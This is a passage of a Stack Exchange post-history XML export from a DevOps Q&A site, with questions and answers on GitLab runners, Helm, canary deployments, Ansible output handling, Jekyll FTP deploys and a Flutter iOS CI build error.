  <row Id="40943" PostHistoryTypeId="2" PostId="13295" RevisionGUID="88ae9336-69c9-47d3-aea7-b87dfc7d6c57" CreationDate="2021-02-05T10:53:10.010" UserId="25950" Text="I'm learning gitlab and am asking for advice / best practice here.&#xD;&#xA;&#xD;&#xA;I want to install a program to a different machine than the build computer, and run some automatic tests on that machine. How is this best done?&#xD;&#xA;&#xD;&#xA;I think this can be accomplished with the &quot;multi project pipeline&quot; feature. Is this the simplest/best way?&#xD;&#xA;&#xD;&#xA;Here is my plan:&#xD;&#xA;&#xD;&#xA;I could have one (shell) runner and project for my build machine, and a different runner and project for my test machine. The two would be connected using &quot;multi project pipeline&quot; feature. The artifacts from the build pipeline would be installed on the test machine and then system tests would run on the test machine.&#xD;&#xA;&#xD;&#xA;Is this the best way to solve this? Or is there a simpler/better way?&#xD;&#xA;&#xD;&#xA;Edit: The test machine has special hardware/enviornment necessary for the program to run. That's why program needs to be installed there." ContentLicense="CC BY-SA 4.0" />
  <row Id="40944" PostHistoryTypeId="1" PostId="13295" RevisionGUID="88ae9336-69c9-47d3-aea7-b87dfc7d6c57" CreationDate="2021-02-05T10:53:10.010" UserId="25950" Text="Howto run test on test computer instead of build computer, using gitlab" ContentLicense="CC BY-SA 4.0" />
  <row Id="40945" PostHistoryTypeId="3" PostId="13295" RevisionGUID="88ae9336-69c9-47d3-aea7-b87dfc7d6c57" CreationDate="2021-02-05T10:53:10.010" UserId="25950" Text="&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40946" PostHistoryTypeId="2" PostId="13296" RevisionGUID="e49367be-959f-4139-a238-fecdc7e1349e" CreationDate="2021-02-05T14:20:24.167" UserId="25711" Text="I have a spring boot application, angular front end app, couchbase, and redis. They are all defined in a docker compose yaml file. I can make the application up and running locally. Is there a way to use docker compose tools/commands to do the same in google cloud or digital ocean?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40947" PostHistoryTypeId="1" PostId="13296" RevisionGUID="e49367be-959f-4139-a238-fecdc7e1349e" CreationDate="2021-02-05T14:20:24.167" UserId="25711" Text="Can I use docker compose to run application container and its dependencies on google cloud or digital ocean, the same as locally?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40948" PostHistoryTypeId="3" PostId="13296" RevisionGUID="e49367be-959f-4139-a238-fecdc7e1349e" CreationDate="2021-02-05T14:20:24.167" UserId="25711" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40949" PostHistoryTypeId="2" PostId="13297" RevisionGUID="b3d9d6da-1afe-4921-be1a-7e267d455cf6" CreationDate="2021-02-05T14:22:17.880" UserId="25953" Text="I think it should be:&#xD;&#xA;```&#xD;&#xA;children:&#xD;&#xA;    docker:&#xD;&#xA;      hosts:&#xD;&#xA;        01-dev:&#xD;&#xA;        02-dev:&#xD;&#xA;````&#xD;&#xA;(The colon)" ContentLicense="CC BY-SA 4.0" />
  <row Id="40951" PostHistoryTypeId="2" PostId="13298" RevisionGUID="d58ce79a-305f-4cf4-8479-a3a301fb59e1" CreationDate="2021-02-05T16:33:19.193" UserId="24678" Text="I'm learning Kubernetes, coming from an AWS/CloudFormation background to set up my company's infrastructure. One of the strengths of CloudFormation is the use a template that can be parameterized for re-used. So I can use the **same** template to deploy all our microservices in Fargate, giving it the Docker image, version, CPU/memory counts, etc for each microservice.&#xD;&#xA;&#xD;&#xA;When using Kubernetes manifest files, is there good way to &quot;templatize&quot; manifest files? I've read  [kustomize][1], but as the title says it's &quot;template-free,&quot; and to use it for all our microservices, I'll need multiple `/someapp/...` directory trees, which is NOT what I want.&#xD;&#xA;&#xD;&#xA;Sure I can use `sed` but that seems archaic. I can use `yq` to massage my yaml files, but this also seems archaic. For either approach, changing a manifest file entails changing the corresponding `sed` and `yp` commands.&#xD;&#xA;&#xD;&#xA;Any suggestions on how to approach this? How about 3rd party tools like [Codefresh][2]? How about `helm`? (I haven't looked at it yet.).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/blog/2018/05/29/introducing-kustomize-template-free-configuration-customization-for-kubernetes/&#xD;&#xA;  [2]: https://codefresh.io/docs/docs/deploy-to-kubernetes/kubernetes-templating/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40952" PostHistoryTypeId="1" PostId="13298" RevisionGUID="d58ce79a-305f-4cf4-8479-a3a301fb59e1" CreationDate="2021-02-05T16:33:19.193" UserId="24678" Text="Parameterized Kubernetes manifest files?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40953" PostHistoryTypeId="3" PostId="13298" RevisionGUID="d58ce79a-305f-4cf4-8479-a3a301fb59e1" CreationDate="2021-02-05T16:33:19.193" UserId="24678" Text="&lt;kubernetes&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40954" PostHistoryTypeId="2" PostId="13299" RevisionGUID="26da4626-4354-4775-9634-c3eeb09ccd15" CreationDate="2021-02-05T16:39:54.043" UserId="25955" Text="I am currently implementing a canary deployment strategy for the services of an &#xD;&#xA;&#xD;&#xA;Have you already worked with carary deployments? After which timeframe do you decide to roull out 100%? Which factors do you take into account? &#xD;&#xA;&#xD;&#xA;I could not find any experience data for this topic. Your help is much appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="40955" PostHistoryTypeId="1" PostId="13299" RevisionGUID="26da4626-4354-4775-9634-c3eeb09ccd15" CreationDate="2021-02-05T16:39:54.043" UserId="25955" Text="In what time ranges do you verify your canary deployments?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40956" PostHistoryTypeId="3" PostId="13299" RevisionGUID="26da4626-4354-4775-9634-c3eeb09ccd15" CreationDate="2021-02-05T16:39:54.043" UserId="25955" Text="&lt;kubernetes&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40957" PostHistoryTypeId="2" PostId="13300" RevisionGUID="3e808642-8df6-443e-ab52-895f332555d0" CreationDate="2021-02-05T17:09:43.230" UserId="16151" Text="I've got [an Ansible role](https://galaxy.ansible.com/consensus/wireguard_cloud_gateway) that may help you.  It was designed to act as a gateway, but I think it may still work for you (hopefully without having to tweak it).&#xD;&#xA;&#xD;&#xA;The most helpful aspect is that it can run in either client or server mode.  So what you would do in your playbook:&#xD;&#xA;1. Run it on `master` in server mode,&#xD;&#xA;1. Save the generated public key to a variable.&#xD;&#xA;1. Loop though the workers running it in client mode providing the server's public key.&#xD;&#xA;1. Collect all of the public keys into a list variable.&#xD;&#xA;1. Rerun it on `master` in server mode, this time with all of the worker keys.&#xD;&#xA;&#xD;&#xA;Then, you should be good to go.  I normally don't put all of this together, just do a single run for each device, but if you want to automate the entire thing (especially if you have many workers), then you should be able to get all of that into a single playbook.&#xD;&#xA;&#xD;&#xA;For more information, see the [role documentation](https://gitlab.com/consensus.enterprises/ansible-roles/ansible-role-wireguard-cloud-gateway/-/blob/master/roles/wireguard_cloud_gateway/README.md).&#xD;&#xA;&#xD;&#xA;I don't recommend sharing keys across devices for the reason you mentioned." ContentLicense="CC BY-SA 4.0" />
  <row Id="40958" PostHistoryTypeId="2" PostId="13301" RevisionGUID="a4a36183-f2cd-46fd-a352-834b24f1ac75" CreationDate="2021-02-05T17:48:49.903" UserId="25956" Text="I was trying to display a few commands with  .stdout - the gives me the mixed output also with   &quot;item&quot; &#xD;&#xA;&#xD;&#xA;with item it gives me:&#xD;&#xA;&#xD;&#xA;just the strings:&#xD;&#xA;&#xD;&#xA; uname -a&#xD;&#xA;&#xD;&#xA;uptime&#xD;&#xA;&#xD;&#xA;but not the output of those commands&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;this is the play-book with commented stuff there that does not work:&#xD;&#xA;&#xD;&#xA;    - name: To Display === UPTIME and KERNEL Version ===&#xD;&#xA;#    - name: &quot;To Display === {{ item }}&quot;&#xD;&#xA;      command: &quot;{{ item }}&quot;&#xD;&#xA;      loop:&#xD;&#xA;        - uname -n&#xD;&#xA;        - uptime -p&#xD;&#xA;        - uname -r&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;#        command: uname -n&#xD;&#xA;#      shell: uptime -p; uname -r; rpm -qa --last kernel&#xD;&#xA;#      register: OUTPUT&#xD;&#xA;#    - debug: msg=&quot;{{ OUTPUT.stdout('\n') }}&quot;&#xD;&#xA;#    - debug: msg=&quot;{{OUTPUT.stdout}}&quot;&#xD;&#xA;#    - debug: var=&quot;{{OUTPUT.stdout}}&quot;&#xD;&#xA;#      shell: &quot;{{item}}&quot;&#xD;&#xA;#      with_items: ['hostname', 'whoami']&#xD;&#xA;#        - uptime -p&#xD;&#xA;#&#xD;&#xA;#        - uname -r&#xD;&#xA;#        - rpm -qa --last kernel&#xD;&#xA;...&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40959" PostHistoryTypeId="1" PostId="13301" RevisionGUID="a4a36183-f2cd-46fd-a352-834b24f1ac75" CreationDate="2021-02-05T17:48:49.903" UserId="25956" Text="trying to display 3 - 5 commands" ContentLicense="CC BY-SA 4.0" />
  <row Id="40960" PostHistoryTypeId="3" PostId="13301" RevisionGUID="a4a36183-f2cd-46fd-a352-834b24f1ac75" CreationDate="2021-02-05T17:48:49.903" UserId="25956" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40961" PostHistoryTypeId="2" PostId="13302" RevisionGUID="5c3fd4e3-d0d9-48fc-86ed-db3271a0905a" CreationDate="2021-02-05T19:37:15.297" UserId="25958" Text="**Scenario:**&#xD;&#xA;&#xD;&#xA;I'm using the Ruby/Jekyll build process to generate a static website from markdown etc files via a templating process -- the same flow as the one used by Github Pages but instead of hosting it on Github I want to be able to upload it to my (existing) shared hosting provider and serve the files from there. (I already have DNS and everything in place with the web host.)&#xD;&#xA;&#xD;&#xA;The hosting provider offers FTP and SSH via cPanel but no direct hook in to Git.&#xD;&#xA;&#xD;&#xA;The build process (which I am doing manually for now, but will eventually become an automated build process and no doubt generate more questions!) creates/updates the static files in a '_site' directory within my repo.&#xD;&#xA;&#xD;&#xA;My local &quot;CI&quot; build (on my own pc) uses a development branch and then when happy with the changes I push them up into master.&#xD;&#xA;&#xD;&#xA;**Where I'm stuck:**&#xD;&#xA;&#xD;&#xA;I want to be able to use an Azure Devops release pipeline to get the files into my web host, triggered by a merge into master.&#xD;&#xA;&#xD;&#xA;I have had this running successfully (triggered manually, but I don't think the trigger part is a problem) using an inbuilt FTP task to grab the contents of the '_site' directory as an artifact and FTP them up to the web host.&#xD;&#xA;&#xD;&#xA;However the FTP task (and the artifact) isn't very 'smart', in that it will re-upload everything every time I want to deploy even if only a few files have changed. This obviously takes longer and eats into my (metered) bandwidth for uploading (and seems like it is not good DevOps!)&#xD;&#xA;&#xD;&#xA;Most often, only a small subset of files are actually changed by the build. This is usually where a new page is created or a stylesheet changed for example. Occasionally, all files are actually changed, such as if an &quot;included&quot; component changes so that all the static pages have to be re-rendered.&#xD;&#xA;&#xD;&#xA;**What I'm looking for** is an approach or workflow to just upload the changed files, rather than all the files. It sounds like it ought to be easy, so perhaps I am missing something." ContentLicense="CC BY-SA 4.0" />
  <row Id="40962" PostHistoryTypeId="1" PostId="13302" RevisionGUID="5c3fd4e3-d0d9-48fc-86ed-db3271a0905a" CreationDate="2021-02-05T19:37:15.297" UserId="25958" Text="Azure Devops - workflow/strategy for uploading only changed files to shared hosting provider after a build of static website (Jekyll)" ContentLicense="CC BY-SA 4.0" />
  <row Id="40963" PostHistoryTypeId="3" PostId="13302" RevisionGUID="5c3fd4e3-d0d9-48fc-86ed-db3271a0905a" CreationDate="2021-02-05T19:37:15.297" UserId="25958" Text="&lt;git&gt;&lt;azure-devops&gt;&lt;continuous-deployment&gt;&lt;jekyll&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40964" PostHistoryTypeId="2" PostId="13303" RevisionGUID="03814df1-103e-451e-8258-5c3df949b342" CreationDate="2021-02-05T19:41:49.413" UserId="24678" Text="I educated myself more about `helm` and it looks like it has these features that I need&#xD;&#xA;&#xD;&#xA; - packaging&#xD;&#xA; - templating&#xD;&#xA; - release management, including rollbacks&#xD;&#xA;&#xD;&#xA;so I'll study it more." ContentLicense="CC BY-SA 4.0" />
  <row Id="40965" PostHistoryTypeId="5" PostId="13302" RevisionGUID="c1962875-b32e-4fac-8c19-ec7e23cf8b17" CreationDate="2021-02-05T19:44:44.203" UserId="25958" Comment="added 10 characters in body" Text="**Scenario:**&#xD;&#xA;&#xD;&#xA;I'm using the Ruby/Jekyll build process to generate a static website from markdown etc files via a templating process -- the same flow as the one used by Github Pages but instead of hosting it on Github I want to be able to upload it to my (existing) shared hosting provider and serve the files from there. (I already have DNS and everything in place with the web host.)&#xD;&#xA;&#xD;&#xA;The hosting provider offers FTP and SSH via cPanel but no direct hook in to Git.&#xD;&#xA;&#xD;&#xA;The build process (which I am doing manually for now, but will eventually become an automated build process and no doubt generate more questions!) creates/updates the static files in a '_site' directory within my repo.&#xD;&#xA;&#xD;&#xA;My local &quot;CI&quot; build (on my own pc) uses a development branch and then when happy with the changes I push them up into master.&#xD;&#xA;&#xD;&#xA;**Where I'm stuck:**&#xD;&#xA;&#xD;&#xA;I want to be able to use an Azure Devops release pipeline to get the files into my web host, triggered by a merge into master.&#xD;&#xA;&#xD;&#xA;I have had this running successfully (triggered manually, but I don't think the trigger part is a problem) using an inbuilt FTP task to grab the contents of the '_site' directory as an artifact and FTP them up to the web host.&#xD;&#xA;&#xD;&#xA;However the FTP task (and the artifact) isn't very 'smart', in that it will re-upload everything every time I want to deploy even if only a few files have changed. This obviously takes longer and eats into my (metered) bandwidth for uploading (and seems like it is not good DevOps!)&#xD;&#xA;&#xD;&#xA;Most often, only a small subset of files are actually changed by the build. This is usually where a new page is created or a stylesheet changed for example. Occasionally, all files are actually changed, such as if an &quot;included&quot; component changes so that all the static pages have to be re-rendered.&#xD;&#xA;&#xD;&#xA;**What I'm looking for** is an approach or workflow to just upload the changed (and new) files, rather than all the files. It sounds like it ought to be easy, so perhaps I am missing something." ContentLicense="CC BY-SA 4.0" />
  <row Id="40966" PostHistoryTypeId="2" PostId="13304" RevisionGUID="6960cb57-ddff-46e3-a79a-9b55a4fd5f93" CreationDate="2021-02-05T21:05:14.647" UserId="25959" Text="For a client we're going to roll out a certain type of software installation.&#xD;&#xA;&#xD;&#xA;(I can give more details in the comments if you like.)&#xD;&#xA;&#xD;&#xA;The question is: would you go for 2 pods (on the same server)?&#xD;&#xA;&#xD;&#xA;Or would a single installation be more stable?&#xD;&#xA;&#xD;&#xA;The software is stable as such but my concern is pods, by nature, are meant to be replaceable...&#xD;&#xA;&#xD;&#xA;There is also the option of a single pod on the machine, but I have deep concerns about this approach...&#xD;&#xA;&#xD;&#xA;My guess is that once 1 pod gets into to much trouble (memory pressure to name a thing) &#xD;&#xA;Kubernetes is going to restart it, as pods are meant to be replaceable.&#xD;&#xA;&#xD;&#xA;(Bringing down the clients' application during the process.)&#xD;&#xA;&#xD;&#xA;So I guess 2 pods is a solution here.&#xD;&#xA;&#xD;&#xA;1 pod should be able to handle the load (his load + the extra load of the restarting pod).&#xD;&#xA;&#xD;&#xA;What I don't know is whether 2 pods would be as stable as running the software on 1 node,&#xD;&#xA;without Kubernetes.&#xD;&#xA;&#xD;&#xA;In the same process we're also going to roll out 2 pods on 2 virtual machines, with other software,&#xD;&#xA;&#xD;&#xA;so the choice whether we do or don't use Kubernetes doesn't depend on this part of the implementation alone." ContentLicense="CC BY-SA 4.0" />
  <row Id="40967" PostHistoryTypeId="1" PostId="13304" RevisionGUID="6960cb57-ddff-46e3-a79a-9b55a4fd5f93" CreationDate="2021-02-05T21:05:14.647" UserId="25959" Text="What's better: 2 pods (on the same server) or 1 standalone application?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40968" PostHistoryTypeId="3" PostId="13304" RevisionGUID="6960cb57-ddff-46e3-a79a-9b55a4fd5f93" CreationDate="2021-02-05T21:05:14.647" UserId="25959" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40969" PostHistoryTypeId="5" PostId="13301" RevisionGUID="820c78dd-6ead-49a6-a694-e116056fe6f7" CreationDate="2021-02-05T21:23:01.077" UserId="40" Comment="added 90 characters in body" Text="I was trying to display a few commands with  .stdout - the gives me the mixed output also with   &quot;item&quot; &#xD;&#xA;&#xD;&#xA;with item it gives me:&#xD;&#xA;&#xD;&#xA;just the strings:&#xD;&#xA;&#xD;&#xA; uname -a&#xD;&#xA;&#xD;&#xA;uptime&#xD;&#xA;&#xD;&#xA;but not the output of those commands&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;this is the play-book with commented stuff there that does not work:&#xD;&#xA;&#xD;&#xA;        - name: To Display === UPTIME and KERNEL Version ===&#xD;&#xA;    #    - name: &quot;To Display === {{ item }}&quot;&#xD;&#xA;          command: &quot;{{ item }}&quot;&#xD;&#xA;          loop:&#xD;&#xA;            - uname -n&#xD;&#xA;            - uptime -p&#xD;&#xA;            - uname -r&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    #        command: uname -n&#xD;&#xA;    #      shell: uptime -p; uname -r; rpm -qa --last kernel&#xD;&#xA;    #      register: OUTPUT&#xD;&#xA;    #    - debug: msg=&quot;{{ OUTPUT.stdout('\n') }}&quot;&#xD;&#xA;    #    - debug: msg=&quot;{{OUTPUT.stdout}}&quot;&#xD;&#xA;    #    - debug: var=&quot;{{OUTPUT.stdout}}&quot;&#xD;&#xA;    #      shell: &quot;{{item}}&quot;&#xD;&#xA;    #      with_items: ['hostname', 'whoami']&#xD;&#xA;    #        - uptime -p&#xD;&#xA;    #&#xD;&#xA;    #        - uname -r&#xD;&#xA;    #        - rpm -qa --last kernel&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40970" PostHistoryTypeId="2" PostId="13305" RevisionGUID="4dfceae7-8b76-432d-bab6-0e2768944f72" CreationDate="2021-02-05T23:13:00.457" UserId="25960" Text="I don't think you are missing any easy solutions because &#xD;&#xA;&#xD;&#xA;1. the easy solutions probably rely on you having full access to the webserver -- which you don't have? The challenge is what is the best you can do given limited server access.&#xD;&#xA;2. FTP does not have a reliable, built-in way to only upload changed files.&#xD;&#xA;&#xD;&#xA;I think:&#xD;&#xA;&#xD;&#xA;- your only solution for problem 1 is to write your own shell script&#xD;&#xA;&#xD;&#xA;- problem 2 is usefully discussed here: https://stackoverflow.com/questions/424680/trying-to-find-a-simple-way-to-do-upload-only-modified-files-through-ftp . &#xD;&#xA;&#xD;&#xA;The viable solutions both amount to 'save hashes of the files on the server, then compare before upload'. However if you can get your pipeline to install and use `git-ftp` then `git-ftp` will do all that for you.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40971" PostHistoryTypeId="2" PostId="13306" RevisionGUID="63b9dd24-4959-460e-b03c-6ad3f9851869" CreationDate="2021-02-06T00:03:00.337" UserId="25962" Text="## I [followed][1] a guide ## &#xD;&#xA;to setup a simple GitLab runner on my 2020 mac Mini with an M1 processor. **Everything builds great except for iOS.**&#xD;&#xA;&#xD;&#xA;# My error: #&#xD;&#xA;&#xD;&#xA;    Xcode build done.                                           33.0s&#xD;&#xA;    Built /Users/directories/build/ios/iphoneos/Runner.app.&#xD;&#xA;    $ cd ios&#xD;&#xA;    $ xcodebuild clean archive -workspace Runner.xcworkspace -scheme Runner -archivePath RunnerArchive&#xD;&#xA;    Command line invocation:&#xD;&#xA;        /Applications/Xcode.app/Contents/Developer/usr/bin/xcodebuild clean archive -workspace Runner.xcworkspace -scheme Runner -archivePath RunnerArchive&#xD;&#xA;    User defaults from command line:&#xD;&#xA;        IDEArchivePathOverride = /Users/directories/ios/RunnerArchive&#xD;&#xA;    note: Using new build system&#xD;&#xA;    note: Building targets in parallel&#xD;&#xA;    ** CLEAN SUCCEEDED **&#xD;&#xA;    note: Using new build system&#xD;&#xA;    note: Building targets in parallel&#xD;&#xA;    note: Planning build&#xD;&#xA;    note: Constructing build description&#xD;&#xA;    error: Provisioning profile &quot;iOS Team Provisioning Profile: com.company.app&quot; doesn't include the currently selected device &quot;my Mac mini&quot; (identifier 11111111-111-1111-1111-11111111). (in target 'Runner' from project 'Runner')&#xD;&#xA;    ** ARCHIVE FAILED **&#xD;&#xA;    Cleaning up file based variables&#xD;&#xA;    00:00&#xD;&#xA;    ERROR: Job failed: exit status 1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If I use `flutter build ios` *from the command line, and even distribute with Xcode's GUI (no modifications), **everything works fine**.* &#xD;&#xA;&#xD;&#xA;I noticed this [post][2] about changing the xcodebuild destination, but I'm not sure how to approach this with flutter. &#xD;&#xA;&#xD;&#xA;# Here's my gitlab-ci.yml. #&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;stages:&#xD;&#xA;##  - test # All jobs related for testing such as Unit Test&#xD;&#xA;#  - builda&#xD;&#xA;  - buildi&#xD;&#xA;&#xD;&#xA;#flutter_test: # Name of the lane&#xD;&#xA;#  stage: test # type of stage&#xD;&#xA;#  script:&#xD;&#xA;#    - flutter test # Run Flutter test&#xD;&#xA;#  tags:&#xD;&#xA;#    - flutter # Tags for runner&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;#flutter_build_android: #Job name&#xD;&#xA;#  stage: builda # kind of job&#xD;&#xA;#  before_script:&#xD;&#xA;#    - flutter packages get&#xD;&#xA;#    - flutter clean&#xD;&#xA;#  script:&#xD;&#xA;#     - flutter build apk&#xD;&#xA;#  artifacts:&#xD;&#xA;#    paths:&#xD;&#xA;#      - build/app/outputs/apk/release/app-release.apk&#xD;&#xA;#  tags:&#xD;&#xA;#    - flutter&#xD;&#xA;&#xD;&#xA;flutter_build_ios:&#xD;&#xA;  stage: buildi&#xD;&#xA;  before_script:&#xD;&#xA;    - flutter packages get&#xD;&#xA;    - flutter clean&#xD;&#xA;  script:&#xD;&#xA;    - flutter build ios&#xD;&#xA;    - cd ios&#xD;&#xA;    - xcodebuild clean archive -workspace Runner.xcworkspace -scheme Runner -archivePath RunnerArchive&#xD;&#xA;    - xcodebuild -exportArchive -archivePath RunnerArchive.xcarchive -exportOptionsPlist ExportOptions.plist -exportPath ./build&#xD;&#xA;  artifacts:&#xD;&#xA;    paths:&#xD;&#xA;      - ios/build/Runner.ipa&#xD;&#xA;  tags:&#xD;&#xA;    - flutter&#xD;&#xA;  &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;# flutter doctor. jic:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[✓] Flutter (Channel master, 1.26.0-18.0.pre.211, on macOS 11.2 20D64 darwin-arm, locale en-US)&#xD;&#xA;    • Flutter version 1.26.0-18.0.pre.211 at /Users/User/Dev/flutter&#xD;&#xA;    • Framework revision 643e65984a (7 hours ago), 2021-02-05 08:58:31 -0800&#xD;&#xA;    • Engine revision b04955656c&#xD;&#xA;    • Dart version 2.13.0 (build 2.13.0-0.0.dev)&#xD;&#xA;&#xD;&#xA;[✓] Android toolchain - develop for Android devices (Android SDK version 30.0.3)&#xD;&#xA;    • Android SDK at /Users/User/Library/Android/sdk&#xD;&#xA;    • Platform android-30, build-tools 30.0.3&#xD;&#xA;    • Java binary at: /Applications/Android Studio.app/Contents/jre/jdk/Contents/Home/bin/java&#xD;&#xA;    • Java version OpenJDK Runtime Environment (build 1.8.0_242-release-1644-b3-6915495)&#xD;&#xA;    • All Android licenses accepted.&#xD;&#xA;&#xD;&#xA;[✓] Xcode - develop for iOS and macOS&#xD;&#xA;    • Xcode at /Applications/Xcode.app/Contents/Developer&#xD;&#xA;    • Xcode 12.4, Build version 12D4e&#xD;&#xA;    • CocoaPods version 1.10.1&#xD;&#xA;&#xD;&#xA;[✗] Chrome - develop for the web (Cannot find Chrome executable at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome)&#xD;&#xA;    ! Cannot find Chrome. Try setting CHROME_EXECUTABLE to a Chrome executable.&#xD;&#xA;&#xD;&#xA;[✓] Android Studio (version 4.1)&#xD;&#xA;    • Android Studio at /Applications/Android Studio.app/Contents&#xD;&#xA;    • Flutter plugin can be installed from:&#xD;&#xA;       https://plugins.jetbrains.com/plugin/9212-flutter&#xD;&#xA;    • Dart plugin can be installed from:&#xD;&#xA;       https://plugins.jetbrains.com/plugin/6351-dart&#xD;&#xA;    • Java version OpenJDK Runtime Environment (build 1.8.0_242-release-1644-b3-6915495)&#xD;&#xA;&#xD;&#xA;[✓] VS Code (version 1.53.0)&#xD;&#xA;    • VS Code at /Applications/Visual Studio Code.app/Contents&#xD;&#xA;    • Flutter extension version 3.19.0&#xD;&#xA;```&#xD;&#xA;It seems to be acting as though I'm trying to run the app on my Mac? Is that correct? *Why should it care?*&#xD;&#xA;&#xD;&#xA;**I'm not sure one issue starts an another begins here**. I understand if I have posted in the wrong place. Thanks to anyone with anything to offer. &#xD;&#xA;&#xD;&#xA;  [1]: https://medium.com/kinandcartacreated/setup-a-flutter-ci-cd-with-gitlab-ci-part-1-8d40b7a3b3dc&#xD;&#xA;  [2]: https://developer.apple.com/forums/thread/668952" ContentLicense="CC BY-SA 4.0" />
  <row Id="40972" PostHistoryTypeId="1" PostId="13306" RevisionGUID="63b9dd24-4959-460e-b03c-6ad3f9851869" CreationDate="2021-02-06T00:03:00.337" UserId="25962" Text="GitLab CI/CD and building on Mac Mini with M1 Processor - Provision Profile" ContentLicense="CC BY-SA 4.0" />
  <row Id="40973" PostHistoryTypeId="3" PostId="13306" RevisionGUID="63b9dd24-4959-460e-b03c-6ad3f9851869" CreationDate="2021-02-06T00:03:00.337" UserId="25962" Text="&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;&lt;macos&gt;&lt;ios&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40974" PostHistoryTypeId="2" PostId="13307" RevisionGUID="bfd88ac6-d9e5-42aa-ad86-6c4171232b14" CreationDate="2021-02-06T01:26:21.360" UserId="25962" Text="I needed to change the distribution type. Thanks!" ContentLicense="CC BY-SA 4.0" />
  <row Id="40975" PostHistoryTypeId="2" PostId="13308" RevisionGUID="4b3111ef-5b92-427c-89bb-b68744d599dd" CreationDate="2021-02-06T03:42:18.643" UserId="16434" Text="**Given**&#xD;&#xA;&#xD;&#xA;We run an in-house `GitLab` server, with many `projects` (aka &quot;`repositories`&quot;)&#xD;&#xA;&#xD;&#xA;We provision all servers using `Ansible` (and deploy projects using `pip`)&#xD;&#xA;&#xD;&#xA;We deploy to &#xD;&#xA;&#xD;&#xA; - dev.project.example.com&#xD;&#xA; - test.project.example..com&#xD;&#xA; - beta.project.example..com&#xD;&#xA; - (and eventually to) www.project.example..com&#xD;&#xA;&#xD;&#xA;**When**&#xD;&#xA;&#xD;&#xA;We add `.gitlab-ci-.yml` to all `project`s' `repository` roots &#xD;&#xA;&#xD;&#xA;We want to use `dev.project.example.com` as a runner for that `GitLab project`&#xD;&#xA;&#xD;&#xA;**Then**&#xD;&#xA;&#xD;&#xA;What Ansible playbooks could we write to provision `dev.project.example.com` as a `GitLab Runner` for that `project`?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40976" PostHistoryTypeId="1" PostId="13308" RevisionGUID="4b3111ef-5b92-427c-89bb-b68744d599dd" CreationDate="2021-02-06T03:42:18.643" UserId="16434" Text="How can we prepare GitLab runners using Ansible deploys" ContentLicense="CC BY-SA 4.0" />
  <row Id="40977" PostHistoryTypeId="3" PostId="13308" RevisionGUID="4b3111ef-5b92-427c-89bb-b68744d599dd" CreationDate="2021-02-06T03:42:18.643" UserId="16434" Text="&lt;ansible&gt;&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40978" PostHistoryTypeId="2" PostId="13309" RevisionGUID="26545feb-d2d8-430a-880a-71edb378a2c8" CreationDate="2021-02-06T03:57:51.697" UserId="549" Text="If you just want to print a subset of the results of your commands on your terminal without using one or more `-v` flags, you can refactor your playbook to show just the standard output from each of the commands using a JSON query. For example:&#xD;&#xA;&#xD;&#xA;``` yaml&#xD;&#xA;---&#xD;&#xA;- name: display info&#xD;&#xA;  hosts: localhost&#xD;&#xA;  tasks:&#xD;&#xA;  - name: Display uptime and kernel info&#xD;&#xA;    shell: &quot;{{ item }}&quot;&#xD;&#xA;    with_items:&#xD;&#xA;      - uptime&#xD;&#xA;      - uname -n&#xD;&#xA;      - uname -r&#xD;&#xA;    register: output&#xD;&#xA;&#xD;&#xA;  - debug: msg=&quot;{{ output.results | json_query('[].stdout[]') }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This will yield output similar to the following:&#xD;&#xA;&#xD;&#xA;``` text&#xD;&#xA;PLAY [display info] **********************************************************************************&#xD;&#xA;&#xD;&#xA;TASK [Gathering Facts] *******************************************************************************&#xD;&#xA;ok: [localhost]&#xD;&#xA;&#xD;&#xA;TASK [Display uptime and kernel info] ****************************************************************&#xD;&#xA;changed: [localhost] =&gt; (item=uptime)&#xD;&#xA;changed: [localhost] =&gt; (item=uname -n)&#xD;&#xA;changed: [localhost] =&gt; (item=uname -r)&#xD;&#xA;&#xD;&#xA;TASK [debug] *****************************************************************************************&#xD;&#xA;ok: [localhost] =&gt; {&#xD;&#xA;    &quot;msg&quot;: [&#xD;&#xA;        &quot;22:48  up 4 days,  3:41, 2 users, load averages: 1.26 1.39 1.42&quot;,&#xD;&#xA;        &quot;localhost.local&quot;,&#xD;&#xA;        &quot;20.3.0&quot;&#xD;&#xA;    ]&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;PLAY RECAP 